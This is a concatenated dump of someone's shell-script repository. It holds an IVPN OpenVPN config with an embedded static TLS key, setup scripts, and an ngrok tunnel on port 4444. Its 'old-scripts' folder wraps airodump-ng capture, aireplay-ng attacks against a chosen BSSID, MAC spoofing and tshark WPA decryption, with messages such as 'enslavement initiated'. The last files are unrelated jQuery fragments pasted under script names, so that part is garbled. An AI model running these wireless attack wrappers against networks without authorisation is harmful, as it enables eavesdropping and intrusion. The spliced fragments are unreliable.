15U= 48 | -----END CERTIFICATE----- 49 | 50 | 51 | -----BEGIN OpenVPN Static key V1----- 52 | ac470c93ff9f5602a8aab37dee84a528 53 | 14d10f20490ad23c47d5d82120c1bf85 54 | 9e93d0696b455d4a1b8d55d40c2685c4 55 | 1ca1d0aef29a3efd27274c4ef09020a3 56 | 978fe45784b335da6df2d12db97bbb83 57 | 8416515f2a96f04715fd28949c6fe296 58 | a925cfada3f8b8928ed7fc963c156327 59 | 2f5cf46e5e1d9c845d7703ca881497b7 60 | e6564a9d1dea9358adffd435295479f4 61 | 7d5298fabf5359613ff5992cb57ff081 62 | a04dfb81a26513a6b44a9b5490ad265f 63 | 8a02384832a59cc3e075ad545461060b 64 | 7bcab49bac815163cb80983dd51d5b1f 65 | d76170ffd904d8291071e96efc3fb777 66 | 856c717b148d08a510f5687b8a8285dc 67 | ffe737b98916dd15ef6235dee4266d3b 68 | -----END OpenVPN Static key V1----- 69 | 70 | 71 | -------------------------------------------------------------------------------- /ivpn-setup/ivpn-openvpn-config/United Kingdom.ovpn: -------------------------------------------------------------------------------- 1 | client 2 | dev tun 3 | proto udp 4 | remote gb.gw.ivpn.net 2049 5 | auth-user-pass 6 | 7 | resolv-retry infinite 8 | nobind 9 | persist-tun 10 | persist-key 11 | persist-remote-ip 12 | 13 | cipher AES-256-CBC 14 | tls-cipher TLS-DHE-RSA-WITH-AES-256-CBC-SHA:TLS-DHE-DSS-WITH-AES-256-CBC-SHA:TLS-RSA-WITH-AES-256-CBC-SHA 15 | ns-cert-type server 16 | verify-x509-name gb name-prefix 17 | key-direction 1 18 | comp-lzo 19 | verb 3 20 | 21 | ;ca ca.crt 22 | 23 | -----BEGIN CERTIFICATE----- 24 | MIIETjCCAzagAwIBAgIJANeN9f9F53lmMA0GCSqGSIb3DQEBBQUAMHcxCzAJBgNV 25 | BAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGExETAPBgNVBAoT 26 | CElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqGSIb3DQEJARYQ 27 | c3VwcG9ydEBpdnBuLm5ldDAeFw0xMDA3MjQxNzQxMjBaFw0yMDA3MjExNzQxMjBa 28 | MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwGA1UEBxMFTWFsdGEx 29 | ETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5ldCBDQTEfMB0GCSqG 30 | SIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP 31 | ADCCAQoCggEBANb0cvGYrnHwXm9vZiHGIlvKDo342dE8XyyA4iIyjeSDTnC2XTdu 32 | E/NPxQ2hc5Pi8DKFqzrmJ8qxmLRv3n+NGQsHiP+rKE2Wi6wQYzg12fgxmeLYenbH 33 | J8UzzVCg2YFe97LGs8cBZeirYKHyErP+Od7rYot6VyUKkb5FB+Tjql6GiyiWmxIv 34 | T9PKoFkXSI3riCiLIP1LwzLVcn0nhZvnXFk2EvVmhmjzdJWLNjqe3Zj78mQLzMdc 35 | XFBO28kaEaydvh2k/Beu17YUqGQDt2w4sbL+DPyjD+k/NusVzV4HggISfJAKfHZz 36 | G1cBFA3Hiu+jSkKOMJ4gC3f+WG4Hpj1XS7cCAwEAAaOB3DCB2TAdBgNVHQ4EFgQU 37 | vCA6yNJ+VUdFGuKo/EnEQZUz874wgakGA1UdIwSBoTCBnoAUvCA6yNJ+VUdFGuKo 38 | /EnEQZUz876he6R5MHcxCzAJBgNVBAYTAk1UMQ4wDAYDVQQIEwVNYWx0YTEOMAwG 39 | A1UEBxMFTWFsdGExETAPBgNVBAoTCElWUE4ubmV0MRQwEgYDVQQDEwtJVlBOLm5l 40 | dCBDQTEfMB0GCSqGSIb3DQEJARYQc3VwcG9ydEBpdnBuLm5ldIIJANeN9f9F53lm 41 | MAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAFhU6MPf42dp5U0yPE0c 42 | ZS3g/pqd4GV4eBe7wYydv88FCScV8o2XGi3VruHKLbyGNxiD3OWwV81NNpLA8rFi 43 | vFgaKU+meWjCRQmptKWmoFpzPtCxB59D9zqYB0TaAuGOh084ioM+qC+MMXJzYY7c 44 | aXvOZ02b1lu44Z1GDIDxy1ONhajoRS59QmNpeoD3jtrVfGPmMwcR26TBj2nMudZK 45 | YMjYmbORgXu/0a/4jZ43B0mvRXCX64xOmwFZHioONhrxdtGA0pNwCXYWKyJ2pnLA 46 | 6VBoEr0Hku56c0ZIDVdi3EUmO/K/XmOmmp6htKELdvjR3goiS/fC/2XTSkIJe3Va 47 | 15U= 48 | -----END CERTIFICATE----- 49 | 50 | 51 | -----BEGIN OpenVPN Static key V1----- 52 | ac470c93ff9f5602a8aab37dee84a528 53 | 14d10f20490ad23c47d5d82120c1bf85 54 | 9e93d0696b455d4a1b8d55d40c2685c4 55 | 1ca1d0aef29a3efd27274c4ef09020a3 56 | 978fe45784b335da6df2d12db97bbb83 57 | 8416515f2a96f04715fd28949c6fe296 58 | a925cfada3f8b8928ed7fc963c156327 59 | 2f5cf46e5e1d9c845d7703ca881497b7 60 | e6564a9d1dea9358adffd435295479f4 61 | 7d5298fabf5359613ff5992cb57ff081 62 | a04dfb81a26513a6b44a9b5490ad265f 63 | 8a02384832a59cc3e075ad545461060b 64 | 7bcab49bac815163cb80983dd51d5b1f 65 | d76170ffd904d8291071e96efc3fb777 66 | 856c717b148d08a510f5687b8a8285dc 67 | ffe737b98916dd15ef6235dee4266d3b 68 | -----END OpenVPN Static key V1----- 69 | 70 | 71 | -------------------------------------------------------------------------------- /live-build-scripts/test-run-kernel.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | clear 3 | #Colors 4 | 5 | dgrey="\033[0;34m" 6 | port="\033[0;33m" 7 | RED="\033[1;31m" 8 | GREEN="\033[2;32m" 9 | YELLOW="\033[1;33m" 10 | BLUE="\033[1;34m" 11 | RED="\033[0;31m" 12 | ENDCOLOR="\033[0m" 13 | 14 | echo -e $RED"#################################################################"$ENDCOLOR; 15 | echo -e $YELLOW" ____ ___ __ ____ __ _ ____ ____"$ENDCOLOR; 16 | echo -e $YELLOW" / __/__ / (_)__/ / / __ \___ / /_(_)__ ___ / __ \/ __/"$ENDCOLOR; 17 | echo -e $YELLOW" _\ \/ _ \/ / / _ / / /_/ / _ \/ __/ / _ \/ _ \ / /_/ /\ \ "$ENDCOLOR; 18 | echo -e $YELLOW"/___/\___/_/_/\_,_/ \____/ .__/\__/_/\___/_//_/ \____/___/ "$ENDCOLOR; 19 | echo -e $YELLOW" /_/ "$ENDCOLOR; 20 | echo -e $RED"#################################################################"$ENDCOLOR; 21 | echo -e $YELLOW"Test run new kernel"$ENDCOLOR; 22 | sleep 2 23 | echo -e $YELLOW"Enter mapper path: [ex. '/dev/mapper/user1'] "$ENDCOLOR; 24 | read MAPPERPATH 25 | sleep 0.5 26 | echo -e $YELLOW"Enter new kernel header name: [ex. 'vmlinuz-4.1.0-trunk-amd64'] "$ENDCOLOR; 27 | read KERNELNAME 28 | BOOT_IMAGE=/$KERNELNAME root=$MAPPERPATH ro initrd=/install/initrd.gz quiet 29 | sleep 1 30 | echo -e $GREEN"Boot image set."$ENDCOLOR 31 | echo -e $RED"###############################################"$ENDCOLOR 32 | echo -e $RED"# task complete!! #"$ENDCOLOR 33 | echo -e $RED"###############################################"$ENDCOLOR 34 | echo "" 35 | echo -e $GREEN"Have A Solid Day"$ENDCOLOR 36 | echo "" 37 | -------------------------------------------------------------------------------- /mac-scripts/brew-for-mac/install-homebrew-mac.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Creating folders.." 4 | sleep 1 5 | echo "" 6 | sudo mkdir -p /usr/local && sudo chown -R $(whoami):admin /usr/local 7 | echo "" 8 | echo "Updating PATH.." 9 | sleep 1 10 | echo "" 11 | PATH=:/usr/local/bin:/bin:/sbin:/system/bin:/system/sbin:/private/sbin:/private/bin:PATH 12 | echo "" 13 | echo "Running curl script.." 14 | echo "" 15 | sleep 1 16 | ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" 17 | echo "" 18 | echo "Updating brew and installing ruby and jekyll.." 19 | echo "" 20 | brew update && brew install ruby && gem install jekyll 21 | sleep 1 22 | echo "" 23 | echo "Complete." 24 | 25 | -------------------------------------------------------------------------------- /mac-scripts/mac-permissions-scripts/change-ownership: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #Colors 3 | dgrey="\033[0;34m" 4 | port="\033[0;33m" 5 | RED="\033[1;31m" 6 | GREEN="\033[1;32m" 7 | YELLOW="\033[1;33m" 8 | BLUE="\033[1;34m" 9 | PURPLE="\033[1;35m" 10 | CYAN="\033[1;36m" 11 | WHITE="\033[1:37m" 12 | ENDCOLOR="\033[0m" 13 | alias ll='ls -Al' 14 | clear 15 | echo -e $CYAN"Change permissions script"$ENDCOLOR; 16 | echo "" 17 | echo -e $CYAN"Which folder do you want to start in? [/Users/...] "$ENDCOLOR; 18 | read STARTFOLDER 19 | 20 | echo "" 21 | echo -e $BLUE"Changing directory to $STARTFOLDER.."$ENDCOLOR; 22 | echo "" 23 | cd $STARTFOLDER 24 | pwd 25 | echo "" 26 | echo -e $CYAN"Which files and/or folders do you want to change? Separate multiple files and folders with a space. [folder1/ file1 folder2/ file2 ..] "$ENDCOLOR; 27 | read SELECTED 28 | echo "" 29 | 30 | echo -e $CYAN"Change ownership to which group and user? [root:wheel] "$ENDCOLOR; 31 | read NEWGRPUSR 32 | echo "" 33 | echo -e $BLUE"Selecting $NEWGRPUSR for $SELECTED in $STARTFOLDER." $ENDCOLOR; 34 | echo "" 35 | echo -e $YELLOW"Is this correct? "$ENDCOLOR; 36 | read GO 37 | 38 | if [[ $GO = 'y' || $GO = 'Y' || $GO = 'yes' || $GO = 'Yes' || $GO = 'YES' ]]; then 39 | 40 | echo "" 41 | echo -e $YELLOW"Excecuting command: sudo chown $NEWGRPUSR $SELECTED.."$ENDCOLOR; 42 | sleep 1 43 | echo "" 44 | sudo chown $NEWGRPUSR $SELECTED 45 | echo "" 46 | echo -e $GREEN"Complete."$ENDCOLOR; 47 | ls -Al 48 | 49 | else 50 | 51 | echo "" 52 | echo -e $YELLOW"Exiting.."$ENDCOLOR; 53 | exit 54 | 55 | fi 56 | -------------------------------------------------------------------------------- /nethunter-builder/build-nethunter: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cd ~/ 3 | git clone https://github.com/offensive-security/kali-nethunter.git 4 | cd kali-nethunter/nethunter-installer 5 | ./bootstrap.sh 6 | python build.py -h 7 | python build.py -d flounder -n -u -f -fs full 8 | -------------------------------------------------------------------------------- /ngrok/start-ngrok-tcp-tunnel: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo ""; 3 | echo "Starting Ngrok TCP Tunnel.."; 4 | ngrok tcp 4444 --remote-addr 1.tcp.ngrok.io:26414 5 | -------------------------------------------------------------------------------- /old-scripts/README.md: -------------------------------------------------------------------------------- 1 | # optionZ3ro 2 | -------------------------------------------------------------------------------- /old-scripts/config-netmanage-ssh.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | clear 3 | echo "Updating Network Manager to allow managed interfaces " 4 | sleep 1 5 | #Create temporary file with new line in place 6 | cat /etc/NetworkManager/NetworkManager.conf | sed -e "s/managed=false/managed=true/" > /tmp/NetworkManager.conf 7 | #Copy the new file over the original file 8 | mv /tmp/NetworkManager.conf /etc/NetworkManager/NetworkManager.conf 9 | sleep 1 10 | cat /etc/NetworkManager/NetworkManager.conf 11 | sleep 1 12 | echo "Clearing old ssh keys and reconfiguring openssh server " 13 | sleep 0.5 14 | mkdir /etc/ssh/oldie-keys 15 | sleep 0.5 16 | mv /etc/ssh/ssh_host_* /etc/ssh/oldie-keys 17 | 18 | dpkg-reconfigure openssh-server 19 | echo "Complete." 20 | -------------------------------------------------------------------------------- /old-scripts/config-tshark-decrypt-WPA.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | clear 3 | #colors 4 | dgrey="\033[0;34m" 5 | port="\033[0;33m" 6 | RED="\033[1;31m" 7 | GREEN="\033[2;32m" 8 | YELLOW="\033[1;33m" 9 | BLUE="\033[1;34m" 10 | RED="\033[0;31m" 11 | ENDCOLOR="\033[0m" 12 | 13 | echo -e $BLUE"Decrypt WPA with Tshark "$ENDCOLOR; 14 | sleep 0.5 15 | 16 | echo -e $YELLOW".pcap File to Decrypt>: "$ENDCOLOR; 17 | read INPUT 18 | sleep 1 19 | 20 | echo -e $YELLOW"Use option wlan or eth>: [ wlan | eth ] "$ENDCOLOR; 21 | read INT 22 | sleep 1 23 | 24 | echo -e $BLUE"Initiating WPA Decryption of $INPUT "$ENDCOLOR; 25 | sleep 2 26 | tshark -nr $INPUT -o $INT.enable_decryption:TRUE -o "uat:80211_keys:\"wpa-pwd\",\"Passphrase:SSID\"" -Y "http" 27 | -------------------------------------------------------------------------------- /old-scripts/dumpit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Let's fuck shit up!: " 4 | 5 | echo "Select Wireless Interface: " 6 | read INTERFACE 7 | 8 | echo "Select Channel: " 9 | read CHANNEL 10 | 11 | echo "Options: " 12 | read OPTIONS 13 | 14 | echo "Encrypt(prepend --encrypt): " 15 | read ENCRYPT 16 | 17 | echo "Save to: " 18 | read SAVELOCATION 19 | 20 | sudo airodump-ng $INTERFACE -c $CHANNEL $OPTIONS -w $SAVELOCATION $ENCRYPT 21 | echo "enslavement initiated: " 22 | -------------------------------------------------------------------------------- /old-scripts/dumpit0.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "wlan0 selected: Let's fuck shit up!: " 4 | 5 | echo "Title This Session: " 6 | read TITLE 7 | 8 | echo "This session will be saved at /home/h3x/enslave/caps/$TITLE: " 9 | 10 | echo "Select Channel(s) - Separate Channels with ','s : " 11 | read CHANNEL 12 | 13 | echo "Options (--showack -a -M -U -h --band abg --wps --ivs --output-format: " 14 | read OPTIONS 15 | 16 | echo "Specifiy Encryption (--encrypt[wpa wpa2 wep..]): " 17 | read ENCRYPT 18 | 19 | echo "Dumping $TITLE: " 20 | 21 | sudo airodump-ng wlan0 -c $CHANNEL $OPTIONS -w /home/h3x/enslave/caps/$TITLE $ENCRYPT 22 | -------------------------------------------------------------------------------- /old-scripts/gojoe.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "Initializing Monitor Mode: " 3 | echo "Select Wireless Interface: " 4 | read INTERFACE 5 | ifconfig $INTERFACE down 6 | macchanger $INTERFACE -bra 7 | iw dev $INTERFACE set type monitor 8 | ifconfig $INTERFACE promisc 9 | ifconfig $INTERFACE up 10 | echo "Monitor Mode ENABLED: " 11 | iw $INTERFACE info 12 | -------------------------------------------------------------------------------- /old-scripts/kali_kde.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #-Operating System--------------------------------------------------# 3 | # Designed for: Kali Linux [1.0.5 x86] # 4 | # Last Updated: 2013-11-22 # 5 | #-Author------------------------------------------------------------# 6 | # g0tmilk ~ https://blog.g0tmi1k.com/ # 7 | #-Notes-------------------------------------------------------------# 8 | # Tested used Kali Linux (x86/x64) as the base OS # 9 | # # 10 | # Useful reading: # 11 | # http://docs.kali.org/downloading/live-build-a-custom-kali-iso # 12 | #-------------------------------------------------------------------# 13 | 14 | 15 | ##### Select architecture 16 | echo -e '\e[01;32m[+]\e[00m Select architecture' 17 | arch="i386" 18 | echo -e 'Which architecture to build?\n1.) x86\n2.) x64' 19 | while true; do 20 | echo -n "Select either 1 or 2 > "; read input 21 | if [[ $input == "1" ]] || [[ $input == "2" ]]; then 22 | [[ $input == "2" ]] && arch="amd64" 23 | break 24 | fi 25 | done 26 | 27 | 28 | ##### Getting Ready 29 | echo -e '\e[01;32m[+]\e[00m Getting Ready' 30 | apt-get -y -qq install live-build cdebootstrap git kali-archive-keyring 31 | cd /var/tmp/ 32 | git clone git://git.kali.org/live-build-config.git 33 | cd live-build-config/ 34 | lb clean --purge 35 | lb config 36 | 37 | 38 | ##### Configuring the Kali ISO Build 39 | echo -e '\e[01;32m[+]\e[00m Configuring the Kali ISO Build' 40 | file=config/package-lists/kali.list.chroot; [ -e $file ] && cp -n $file{,.bkup} 41 | #--- Remove GNOME 3 42 | sed -i 's/^gnome/# gnome/g' $file 43 | #--- Install KDE 44 | sed -i '/ KDE DESKTOP /,+2{/ KDE DESKTOP /!s/^# //}' $file 45 | 46 | 47 | ##### Building the ISO 48 | echo -e '\e[01;32m[+]\e[00m Building the ISO' 49 | #--- Allow building x64 on x86 50 | if [[ $arch == "amd64" ]] && [[ $(uname -m) != "amd64" ]]; then 51 | dpkg --add-architecture amd64 52 | apt-get update 53 | fi 54 | #--- Setup caching (Enable if you wish todo a lot of custom ISOs) 55 | apt-get -y -qq install apt-cacher-ng 56 | service apt-cacher-ng start 57 | export http_proxy=http://localhost:3142/ 58 | #--- Remove PAE from kernel 59 | #sed -i 's/686-pae/486/g' auto/config 60 | #lb clean 61 | #--- Set architecture 62 | lb config --architecture $arch 63 | lb build 64 | 65 | 66 | ##### Post Build 67 | echo -e '\e[01;32m[+]\e[00m Post Build' 68 | [[ ! -e binary.hybrid.iso ]] && echo -e '\e[01;31m[!]\e[00m Failed to create ISO' && exit 69 | echo -e '\e[01;32m[+]\e[00m Kali KDE ISO was successully created!' 70 | #--- Move file somewhere that will 'last' 71 | filename="kali-kde_$arch_$(date +%Y-%m-%d).iso" 72 | mv -f binary.hybrid.iso ~/$filename 73 | echo -e "\e[01;32m[+]\e[00m File: ~/$filename" 74 | #--- Generate checksums 75 | sha1=$(sha1sum ~/$filename | awk '{print $1}') 76 | echo -e "\e[01;32m[+]\e[00m SHA1: $sha1" 77 | -------------------------------------------------------------------------------- /old-scripts/kali_livebuild.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #-Operating System--------------------------------------# 3 | # Designed for: Kali Linux [1.0.5 x86] # 4 | # Last Updated: 2013-11-18 # 5 | #-Author------------------------------------------------# 6 | # g0tmilk ~ https://blog.g0tmi1k.com/ # 7 | #-Notes-------------------------------------------------# 8 | # Useful reading: # 9 | # http://docs.kali.org/downloading/live-build-a-custom-kali-iso 10 | #-------------------------------------------------------# 11 | 12 | 13 | ##### Getting Ready 14 | apt-get -y -qq install live-build cdebootstrap git kali-archive-keyring 15 | cd /var/tmp/ 16 | git clone git://git.kali.org/live-build-config.git 17 | cd live-build-config/ 18 | #lb clean --purge 19 | lb config 20 | 21 | 22 | ##### Configuring the Kali ISO Build 23 | #--- Remove GNOME 3 24 | sed -i 's/^gnome/#gnome/g' config/package-lists/kali.list.chroot 25 | #--- Install XFCE 26 | grep 'xfce4' config/package-lists/kali.list.chroot -B1 | grep -q -v '*** XFCE DESKTOP ***\|xfce4' || echo -e '\nxfce4\nnetwork-manager-gnome\nnetwork-manager' >> config/package-lists/kali.list.chroot 27 | 28 | 29 | ##### Building the ISO 30 | #--- Allow building x64 on x86 31 | #dpkg --add-architecture amd64 32 | #apt-get update 33 | #--- Setup caching (Enable if you wish todo a lot of custom ISOs) 34 | apt-get -y -qq install apt-cacher-ng 35 | service apt-cacher-ng start 36 | export http_proxy=http://localhost:3142/ 37 | #--- Remove PAE from kernel 38 | #sed -i 's/686-pae/486/g' auto/config 39 | #lb clean 40 | #--- Set architecture 41 | #lb config --architecture amd64 # x64 42 | lb config --architecture i386 # x86 43 | lb build 44 | 45 | 46 | ##### Post Build 47 | #--- Move file somewhere that will 'last' 48 | mv -f binary.hybrid.iso ~/custom.kali.iso 49 | #--- Show it 50 | ls -lh ~/custom.kali.iso 51 | #--- Create checksums 52 | md5sum ~/custom.kali.iso 53 | sha1sum ~/custom.kali.iso -------------------------------------------------------------------------------- /old-scripts/letsgo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Entering Monitor Mode: " 4 | 5 | echo "Select Wireless Interface: " 6 | read INTERFACE 7 | 8 | ifconfig $INTERFACE down 9 | macchanger $INTERFACE -br 10 | iw dev $INTERFACE set type monitor 11 | ifconfig $INTERFACE promisc 12 | ifconfig $INTERFACE up 13 | echo "Monitor Mode Enabled: " 14 | -------------------------------------------------------------------------------- /old-scripts/monitor.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Entering Monitor Mode: " 4 | 5 | echo "Select Wireless Interface: " 6 | read INTERFACE 7 | 8 | ifconfig $INTERFACE down 9 | macchanger $INTERFACE -br 10 | iw dev $INTERFACE set type monitor 11 | ifconfig $INTERFACE promisc 12 | ifconfig $INTERFACE up 13 | echo "Monitor Mode Enabled: " -------------------------------------------------------------------------------- /old-scripts/quicky.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | airodump-ng --showack -aMU --wps --band abg wlan0 -c 1,6,9,11 3 | -------------------------------------------------------------------------------- /old-scripts/replayit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Let's play!: " 4 | 5 | echo "Select Wireless Interface: " 6 | read INTERFACE 7 | 8 | echo "Select Attack(0-9): " 9 | read ATTACK 10 | 11 | echo "Attack Options: " 12 | read TargetOPTIONS 13 | 14 | echo "Target BSSID(prepend '-a' or '-b'): " 15 | read TargetBSSID 16 | 17 | echo "Target Destination MAC (-c) - leave blank to omit: " 18 | read TargetDESTINATION 19 | 20 | echo "(optional) Target Source MAC (-h) - leave blank to use your current MAC Address: " 21 | read TargetSOURCE 22 | 23 | echo "(optional) Save to (prepend '-w') : " 24 | read SAVETO 25 | 26 | sudo aireplay-ng -$ATTACK $TargetOPTIONS $TargetBSSID $TargetDESTINATION $TargetSOURCE $INTERFACE $SAVETO 27 | echo "play nice now...: " 28 | -------------------------------------------------------------------------------- /old-scripts/resartNet: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | /etc/init.d/network-manager restart 3 | sleep 1 4 | /etc/init.d/networking restart 5 | sleep 1 6 | /etc/init.d/network-manager restart 7 | sleep 1 8 | -------------------------------------------------------------------------------- /old-scripts/session.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | $session 3 | 4 | bssid = 11:22:#3:44:55 5 | source 6 | dest. 7 | mac 8 | spoofed 9 | :wq 10 | 11 | -------------------------------------------------------------------------------- /old-scripts/targetDump.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Target Specific AP: " 4 | 5 | echo "Title this Attack Session: " 6 | read AttackTITLE 7 | echo "This following will be saved to /home/h3x/enslave/caps/dump-$AttackTITLE: " 8 | 9 | echo "Select Wireless Interface to use with $AttackTITLE: " 10 | read INTERFACE 11 | 12 | echo "Select the Channel $AttackTITLE is on: " 13 | read CHANNEL 14 | 15 | echo "Enter $AttackTITLE BSSID: " 16 | read TargetBSSID 17 | 18 | echo "Enter $AttackTITLE ESSID: " 19 | read TargetESSID 20 | 21 | echo "Options (--showack -a -M -U --wps --band abg --ivs --output-format): " 22 | read OPTIONS 23 | 24 | echo "Dumping Target: " 25 | 26 | sudo airodump-ng --bssid $TargetBSSID --essid $TargetESSID $OPTIONS -w /home/h3x/enslave/caps/dump-$AttackTITLE $INTERFACE -c $CHANNEL 27 | -------------------------------------------------------------------------------- /old-scripts/update-configs: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | clear 3 | #Colors 4 | 5 | dgrey="\033[0;34m" 6 | port="\033[0;33m" 7 | RED="\033[1;31m" 8 | GREEN="\033[2;32m" 9 | YELLOW="\033[1;33m" 10 | BLUE="\033[1;34m" 11 | RED="\033[0;31m" 12 | ENDCOLOR="\033[0m" 13 | 14 | echo -e $BLUE"#################################################################"$ENDCOLOR; 15 | echo -e $YELLOW" ____ ___ __ ____ __ _ ____ ____"$ENDCOLOR; 16 | echo -e $YELLOW" / __/__ / (_)__/ / / __ \___ / /_(_)__ ___ / __ \/ __/"$ENDCOLOR; 17 | echo -e $YELLOW" _\ \/ _ \/ / / _ / / /_/ / _ \/ __/ / _ \/ _ \ / /_/ /\ \ "$ENDCOLOR; 18 | echo -e $YELLOW"/___/\___/_/_/\_,_/ \____/ .__/\__/_/\___/_//_/ \____/___/ "$ENDCOLOR; 19 | echo -e $YELLOW" /_/ "$ENDCOLOR; 20 | echo -e $BLUE"#################################################################"$ENDCOLOR; 21 | echo "" 22 | echo -e $YELLOW"Copy Configs"$ENDCOLOR 23 | sleep 1 24 | echo -e $YELLOW"Copy bashrc? [y/n] "$ENDCOLOR; 25 | read COPYBASHRC 26 | 27 | if [[ $COPYBASHRC = 'y' || $COPYBASHRC = 'Y' ]] ; then 28 | 29 | echo -e $BLUE"Making a backup first. "$ENDCOLOR; 30 | echo "" 31 | sleep 1 32 | echo cp ~/.bashrc ~/.bashrc.bak 33 | sleep 1 34 | echo "" 35 | echo -e $BLUE"Copying.. "$ENDCOLOR; 36 | echo "" 37 | sleep 1 38 | echo cp ../configs/bashrc ~/.bashrc 39 | sleep 1 40 | echo -e $GREEN"Bashrc copied successfully!"$ENDCOLOR; 41 | echo "" 42 | sleep 1 43 | echo -e $YELLOW"Source bashrc now?"$ENDCOLOR; 44 | read SOURCEBASHRC 45 | 46 | if [[ $SOURCEBASHRC = 'y' || $SOURCEBASHRC = 'Y' ]] ; then 47 | 48 | clear && source ~/.bashrc 49 | 50 | else 51 | 52 | echo -e $BLUE"Okay. Maybe later."$ENDCOLOR; 53 | echo "" 54 | sleep 1 55 | 56 | fi 57 | 58 | echo -e $YELLOW"Copy htoprc? "$ENDCOLOR; 59 | read COPYHTOPRC 60 | 61 | if [[ $COPYHTOPRC = 'y' || $COPYHTOPRC = 'Y' ]] ; then 62 | 63 | echo -e $BLUE"Making a backup first."$ENDCOLOR; 64 | echo "" 65 | sleep 1 66 | echo cp ~/.config/htop/htoprc ~/.config/htop/htoprc.bak 67 | sleep 1 68 | echo "" 69 | echo -e $BLUE"Copying.."$ENDCOLOR; 70 | echo "" 71 | sleep 1 72 | echo cp ../configs/htoprc ~/.config/htop/htoprc 73 | sleep 1 74 | echo -e $GREEN"Htoprc copied successfully!"$ENDCOLOR; 75 | echo "" 76 | sleep 1 77 | 78 | else 79 | 80 | echo -e $BLUE"Okay. Maybe some other time. "$ENDCOLOR; 81 | sleep 1 82 | fi 83 | echo "" 84 | echo -e $BLUE"###############################################################"$ENDCOLOR; 85 | echo -e $YELLOW" Operation Complete "$ENDCOLOR; 86 | echo -e $BLUE"###############################################################"$ENDCOLOR 87 | 88 | -------------------------------------------------------------------------------- /oldies/Kali-Pi-LCD/switch-hdmi: -------------------------------------------------------------------------------- 1 | e preDispatch hook for the mapped type, and let it b -------------------------------------------------------------------------------- /oldies/Kali-Pi-LCD/switch-lcd: -------------------------------------------------------------------------------- 1 | eEvent 2 | props: "altKey bubbles cancelable ctrlKey cur -------------------------------------------------------------------------------- /oldies/README.md: -------------------------------------------------------------------------------- 1 | element, by name of that event, to properly expose it to GC 2 | if ( typeof elem[ name ] === strundefined ) { 3 | elem[ name ] = null; 4 | } 5 | 6 | elem.detachEvent( name, handle ); 7 | } 8 | }; 9 | 10 | jQuery.Event = function( src, props ) { 11 | // Allow instantiation without the 'new' keyword 12 | if ( !(this instanceof jQuery.Event) ) { 13 | return new jQuery.Event( src, props ); 14 | } 15 | 16 | // Event object 17 | if ( src && src.type ) { 18 | this.originalEvent = src; 19 | this.type = src. -------------------------------------------------------------------------------- /oldies/artwork-fetcher-scripts/get-art-zero-artwork: -------------------------------------------------------------------------------- 1 | ed an event listener 2 | }, 3 | 4 | postDispatch: function( event ) { 5 | // If form was submitted by the user, bubble the event up the tree 6 | if ( event._submit_bubble ) { 7 | delete event._submit_bubble; 8 | if ( this.parentNode && !event.isTrigger ) { 9 | jQuery.event.simulate( "submit", this.parentNode, event, true ); 10 | } 11 | } 12 | }, 13 | 14 | teardown: function() { 15 | // Only need this for delegated form submit events 16 | if ( jQuery.nodeName( this, "form" ) ) { 17 | return false; 18 | } 19 | 20 | // Remove delegated handlers; cleanData eventually reaps submit handlers attached above 21 | jQuery.event.remove( this, "._submit" ); 22 | } 23 | }; 24 | } 25 | 26 | // IE change delegation and checkbox/radio fix 27 | if ( !support.changeBubbles ) { 28 | 29 | jQuery.event.special.change = { 30 | 31 | setup: function() { 32 | 33 | if ( rformElems.test( this.nodeName ) ) { 34 | // IE doesn't fire change on a check/radio until blur; trigger it on click 35 | // after a propertychange. Eat the blur-change in special.change.handle. 36 | // This still fires onchange a second time for check/radio after blur. 37 | if ( this.type === "checkbox" || this.type === "radio" ) { 38 | jQuery.event.add( this, "propertychange._change", function( event ) { 39 | if ( event.originalEvent.propertyName === "checked" ) { 40 | this._just_changed = true; 41 | } 42 | }); 43 | jQuery.event.add( this, "click._change", function( event ) { 44 | if ( this._just_changed && !event.isTrigger ) { 45 | this._just_changed = false; 46 | } 47 | // Allow triggered, simulated change events (#11500) 48 | jQuery.event.simulate( "change", this, event, true ); 49 | }); 50 | } 51 | return false; 52 | } 53 | // Delegated event; lazy-add a change handler on descendant inputs 54 | jQuery.event.add( this, "beforeactivate._change", function( e ) { 55 | var elem = e.target; 56 | 57 | if ( rformElems.test( elem.nodeName ) && !jQuery._data( elem, "changeBubbles" ) ) { 58 | jQuery.event.add( elem, "change._change", function( event ) { 59 | if ( this.parentNode && !event.isSimulated && !event.isTrigger ) { 60 | jQuery.event.simulate( "change", this.parentNode, event, true ); 61 | } 62 | }) -------------------------------------------------------------------------------- /oldies/assets/NetworkManager-managed.conf: -------------------------------------------------------------------------------- 1 | pes, fn ) 2 | fn = selector; 3 | data = selector = undefine 